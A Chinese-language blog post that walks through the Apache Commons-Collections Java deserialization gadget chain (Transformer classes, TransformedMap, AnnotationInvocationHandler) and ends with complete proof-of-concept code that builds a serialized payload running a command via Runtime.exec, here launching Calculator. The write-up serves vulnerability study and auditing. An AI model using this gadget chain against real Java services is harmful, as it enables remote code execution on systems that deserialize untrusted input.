通过Apache Common-collections分析Java反序列化

LittleT1gger

前言

本文将通过 Apache Commons-collections爆出的反序列化漏洞来作为例子进行原理分析。

漏洞成因

在这个Java反序列化漏洞的利用链主要由三个部分组成

1、可以执行恶意代码的对象(在这个例子中即为Commons-collection中的Transformer类)

2、一个被恶意对象“寄生的宿主”,通俗的来说就是,宿主对象反序列化的时候因为需要执行readObject方法,而readObject方法在可以被序列化的类中需要被重写,重写后的方法可能存在某些能够触发恶意对象执行的操作。

3、需要一个能够将恶意对象进行包装的类。在有的情况下恶意对象没有办法直接‘寄生“在宿主上,这时候就需要一个类能够将恶意对象进行包装

在这个例子中恶意代码对象为Commons-collection中的Transformer类,这个类原本的设计是用来对类进行转换,而通过精心设计(后文会详细讲解)后能够通过这个类的transform方法实现命令执行。而被寄生的宿主为AnnotationInvocationHandlerMap类,通过其readObject方法能够触发漏洞。而AnnotationInvocationHandlerMap类中有一个Map类型的成员变量memberValuesTransformer类可以通过用Map类包装寄生在AnnotationInvocationHandlerMap

接下来会分为两个部分解释,即1如何通过transfomer进行命令执行,2是如何利用反序列化完成一个调用链

Transformer类的作用

首先我们先看一下导致这个问题的核心类Transformer

public interface Transformer {
    public Object transform(Object input);
}

这是一个接口类,需要实现一个transform方法,而transform方法的目的是将input object转换为一个output object 从而完成类型的转换

在整个调用过程中用到了三个实现Transformer的实现类,ConstantTransformer,InvokerTransformer,ChainedTransformer.

ConstantTransformer

//以下省去了部分代码
public class ConstantTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 6374440726369055124L;

    /** The closures to call in turn */
    private final Object iConstant;

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
      public Object transform(Object input) {
        return iConstant;
    }
}

可通过查看ConstantTransformer的源码发现,其transform方法无论输入什么类型都会返回一种初始化时定好的类型。

System.out.println(new ConstantTransformer(Runtime.class).transform(String.class));
//输出:class java.lang.Runtime
//无论transform的参数是什么都会得到相同的结果

InvokerTransformer

//以下省去了部分代码
public class InvokerTransformer implements Transformer, Serializable {

    /** The serial version */
    private static final long serialVersionUID = -8653385846894047688L;
    
    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
  
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
          ***
    }

}
return method.invoke(input, iArgs);

InvokerTransformertransform方法则是将传入的类的某种方法(方法名和参数同样在初始化的时候设定好了)利用invoke进行调用

System.out.println(new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}).transform(Runtime.class));
//output:public static java.lang.Runtime java.lang.Runtime.getRuntime()

当输入的参数为Runtime.class时相当于会调用 Runtime.classgetMethod方法

public Method getMethod(String name, Class<?>... parameterTypes)

可以看到这个方法所需要的参数为name和参数类型,所以我们如果需要获取RuntimegetRuntime方法则需要传入的参数为 “getRuntime” 即方法名以及其对应的参数类型 Class<?>

public static Runtime getRuntime() {
        return currentRuntime;
}

getRuntime是个无参函数,所以传入一个空的Class数组即可。即Class[0]

ChainedTransformer

//省略部分代码
public class ChainedTransformer implements Transformer, Serializable {

    /** Serial version UID */
    private static final long serialVersionUID = 3514945074733160196L;

    /** The transformers to call in turn */
    private final Transformer[] iTransformers;

    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
  
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

ChainedTransformertransform方法的作用是调用多个transfomertransform依次对object进行操作也就是可以将多个transformer串联起来

命令执行

假设我们需要执行一段这样的代码 Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")

那我们可以构造如下的调用链来实现

Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
Transformer transformer = new ChainedTransformer(transformers);
transformer.transform(new Object());

即以上四个Transformer构成了一个ChainedTransformer,最终通过调用ChainedTransformertransform方法来实现命令执行

//通过ConstantTransformer先将传入的obejct修改为Runtime.class
new ConstantTransformer(Runtime.class) 

之前提到过InvokerTransformertransformer方法的作用是利用反射调用输入对象的某个方法

//将Runtime.class作为输入可以得到getRuntime的Method对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]})
  
//调用Method对象的invoke方法,参数为new Object[]{null,new Object[0]} 
//相当于执行method(getRuntime).invoke(null,new Object[0])
//由于getRuntime为静态方法,所以不需要传入实例,所以invoke方法的第一个参数可以为null,之前提到过getRuntime为无参方法所以参数只需要传入new Object[0]即一个空数组,至于这里为什么不也传入一个null是因为当invoke做遍历args时不会报错
//所以这个InvokerTransformer达到了传入一个Method对象转化为一个Runtime对象的目的
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),

//拿到Runtime对象后再通过一次反射进行命令执行即可
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})

TransformedMap

以上的调用方式最终需要ChainedTransformer调用transform方法,那现在问题就变成了如何去触发这个方法,通过find usage看看有哪些类用到了Transformer,可以看到有一个TransformedMap使用了,对源码进行查看

image-20210827105205094.png

//以下省略部分代码
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

    /** Serialization version */
    private static final long serialVersionUID = 7023152376788900464L;

    /** The transformer to use for the key */
    protected final Transformer keyTransformer;
    /** The transformer to use for the value */
    protected final Transformer valueTransformer;

 
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
   
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }
 
    protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

    protected Map transformMap(Map map) {
        if (map.isEmpty()) {
            return map;
        }
        Map result = new LinkedMap(map.size());
        for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
            Map.Entry entry = (Map.Entry) it.next();
            result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
        }
        return result;
    }
        /**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }
}

TransformedMap执行setValue/put/putAll中的任意方法都会调用transform方法,从而也就会触发命令执行。我们只需要将之前构造好的恶意ChainedTransformer包装进TransformedMap并想办法触发TransformedMapsetValue/put/putAll方法即可

Map innerMap = new HashMap();
innerMap.put("value","1");
Map ouputMap = TransformedMap.decorate(innerMap,null,chainedTransformer);

AnnotationInvocationHandlerMap类

在Java的低版本(jdk1.8较低的版本如 1.8u60,在较高的jdk版本该问题类已经被修复)代码中存在AnnotationInvocationHandlerMap类,其readObject方法如下所示

 private void readObject(java.io.ObjectInputStream s)
          throws java.io.IOException, ClassNotFoundException {
      s.defaultReadObject();

      // Check to make sure that types have not evolved incompatibly

      AnnotationType annotationType = null;
      try {
          annotationType = AnnotationType.getInstance(type);
      } catch (IllegalArgumentException e) {
          // Class is no longer an annotation type; time to punch out
          throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
      }

      Map<String, Class<?>> memberTypes = annotationType.memberTypes();

      // If there are annotation members without values, that
      // situation is handled by the invoke method.
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
          String name = memberValue.getKey();
          Class<?> memberType = memberTypes.get(name);
          if (memberType != null) {  // i.e. member still exists
              Object value = memberValue.getValue();
              if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                  memberValue.setValue(
                          new AnnotationTypeMismatchExceptionProxy(
                                  value.getClass() + "[" + value + "]").setMember(
                                  annotationType.members().get(name)));
              }
          }
      }
  }

AnnotationInvocationHandler类实现了InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,触发TransformedMap中的checkSetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象

//jdk1.8高版本该类的方法readObject()是使用了native方法安全更新map,无法再触发
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
ctor.setAccessible(true);
InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);

我们只需要将这个InvocationHandler对象序列化后就可以得到用于攻击的payload了。

总结

总的来说如果在实际环境中想要查看是否存在反序列化漏洞可以从以下几个点切入进行分析

  1. 判断是否存在反序列化点(即readObject())
  2. 反序列化点的输入是否可控
  3. 是否用到了一些常见Gadget 的包(在这个例子中就是org.apache.commons.collections

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class SerializeMapForTransformer
{
    public static void main( String[] args ) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformer = new ChainedTransformer(transformers);
        //利用AnnotationInvocationHandler反序列化,直接触发Transformer ---jdk1.8高版本已经更新无法再成功了
        testAnnotationInvocationHandlerMap(transformer);

        //测试TransformerMap在map的key、value改变中触发
        //testMap(transformer);

    }

    /**
     * 测试AnnotationInvocationHandler反序列化中,直接触发Transformer
     *
     */
    private static void testAnnotationInvocationHandlerMap(Transformer transformer) throws Exception{
        //转化map
        Map innerMap = new HashMap();
        innerMap.put("value","1");
        Map ouputMap = TransformedMap.decorate(innerMap,null,transformer);
        //jdk1.8该类的方法readObject()是使用了native方法安全更新map,无法再触发
        Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        ctor.setAccessible(true);
        InvocationHandler o = (InvocationHandler) ctor.newInstance(Target.class,ouputMap);
        //序列化输出
        byte[] bytes = serialize(o);
        //反序列化
        deserialize(bytes);
    }

    /**
     * 测试TransformerMap在包装的map中,key、value改变触发Transformer
     *
     */
    private static void testMap(Transformer transformer) throws Exception{
        //转化map
        Map ouputMap = TransformedMap.decorate(new HashMap<>(),null,transformer);
        //序列化输出
        byte[] bytes = serialize(ouputMap);
        //反序列化
        Map innerMap = deserialize(bytes);
        //put操作触发,命令链
        innerMap.put("1","value");
    }
    public static byte[] serialize(Object o) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        objectOutputStream.close();
        return bytes;
    }
    public static <T>T deserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        T o = (T) objectInputStream.readObject();
        objectInputStream.close();
        return o;
    }

}
阅读 293
1 声望
0 粉丝
0 条评论
你知道吗?

1 声望
0 粉丝
文章目录
宣传栏